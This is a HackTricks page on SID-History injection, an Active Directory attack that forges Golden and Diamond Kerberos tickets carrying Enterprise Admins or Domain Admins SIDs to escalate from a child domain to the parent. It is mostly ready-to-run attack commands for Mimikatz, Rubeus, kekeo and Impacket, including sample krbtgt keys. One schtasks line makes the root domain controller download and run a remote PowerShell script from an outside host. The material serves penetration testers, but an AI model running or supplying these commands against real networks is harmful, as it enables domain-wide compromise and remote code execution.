# SID-History Injection
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
## Attack SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the **user's previous SID would be added to the SID History** of their new account. So when creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will **grant access to all resources in the parent**. This can be achieved using either a [**Golden**](sid-history-injection.md#golden-ticket) or [**Diamond Ticket**](sid-history-injection.md#diamond-ticket). For finding the **SID** of the **"Enterprise Admins"** group you can find the **SID** of the **root domain** and set it in `S-1-5-21--519`. For example, from root domain SID `S-1-5-21-280534878-1496970234-700767426` the **"Enterprise Admins"** group SID is `S-1-5-21-280534878-1496970234-700767426-519` You could also use the **Domain Admins** groups, which ends in **512**. Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with: ```powershell Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` ### Golden Ticket (Mimikatz) with KRBTGT-AES256 {% code overflow="wrap" %} ```bash mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid: /sids: /aes256: /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" /user is the username to impersonate (could be anything) /domain is the current domain. /sid is the current domain SID. /sids is the SID of the target group to add ourselves to. /aes256 is the AES256 key of the current domain's krbtgt account. --> You could also use /krbtgt: instead of the "/aes256" option /startoffset sets the start time of the ticket to 10 mins before the current time. /endin sets the expiry date for the ticket to 60 mins. /renewmax sets how long the ticket can be valid for if renewed. # The previous command will generate a file called ticket.kirbi # Just loading you can perform a dcsync attack agains the domain ``` {% endcode %} For more info about golden tickets check: {% content-ref url="golden-ticket.md" %} [golden-ticket.md](golden-ticket.md) {% endcontent-ref %} ### Diamond Ticket (Rubeus + KRBTGT-AES256) {% code overflow="wrap" %} ```powershell # Use the /sids param Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap # Or a ptt with a golden ticket Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt # You can use "Administrator" as username or any other string ``` {% endcode %} For more info about diamond tickets check: {% content-ref url="diamond-ticket.md" %} [diamond-ticket.md](diamond-ticket.md) {% endcontent-ref %} {% code overflow="wrap" %} ```bash .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$ ``` {% endcode %} Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain: {% code overflow="wrap" %} ```bash Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114" ``` {% endcode %} With the acquired permissions from the attack you can execute for example a DCSync attack in the new domain: {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %} ### From linux #### Manual with [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) {% code overflow="wrap" %} ```bash # This is for an attack from child to root domain # Get child domain SID lookupsid.py /username@10.10.10.10 | grep "Domain SID" # Get root domain SID lookupsid.py /username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID" # Generate golden ticket ticketer.py -nthash -domain -domain-sid -extra-sid Administrator # NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING # JUST USE THE SAME USERNAME IN THE NEXT STEPS # Load ticket export KRB5CCNAME=hacker.ccache # psexec in domain controller of root psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 ``` {% endcode %} #### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) This is an Impacket script which will **automate escalating from child to parent domain**. The script needs: * Target domain controller * Creds for an admin user in the child domain The flow is: * Obtains the SID for the Enterprise Admins group of the parent domain * Retrieves the hash for the KRBTGT account in the child domain * Creates a Golden Ticket * Logs into the parent domain * Retrieves credentials for the Administrator account in the parent domain * If the `target-exec` switch is specified, it authenticates to the parent domain's Domain Controller via Psexec. ```bash raiseChild.py -target-exec 10.10.10.10 /username ``` ## References * [https://studylib.net/doc/25696115/crto](https://studylib.net/doc/25696115/crto)
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.